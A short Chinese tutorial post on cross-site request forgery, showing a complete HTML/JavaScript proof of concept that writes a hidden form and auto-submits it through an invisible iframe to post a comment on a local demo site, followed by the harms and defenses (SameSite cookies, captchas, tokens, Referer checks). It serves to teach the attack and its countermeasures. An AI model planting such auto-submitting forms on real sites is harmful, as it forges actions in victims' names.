前端CSRF攻擊

cross site request forhy(CSRF)跨站請求攻擊

案例:誘導用戶打開第三網站,進行攻擊,例如:

<body>
        hello,這裏什麼也沒有。
        <script>
            document.write(`
                <form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment">
                    <input name="postId" type="hidden" value="1">
                    <textarea name="content">來自CSRF!</textarea>
                </form>`
            );

            var iframe = document.createElement('iframe');
            iframe.name = 'csrf';
            iframe.style.display = 'none';
            document.body.appendChild(iframe);

            setTimeout(function(){
                document.querySelector('[name=commentForm]').submit();
            },1000);
        </script>
    </body>

圖示:

危害:盜取用戶自己(轉賬、消費)、冒充用戶發帖背鍋、損壞網站聲譽等等。

防禦:

  1. 禁止第三方網站帶cookie   --> same-site(兼容性不好)
  2. 在涉及攻擊前端頁面加入驗證碼
  3. token
  4. referer判斷
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章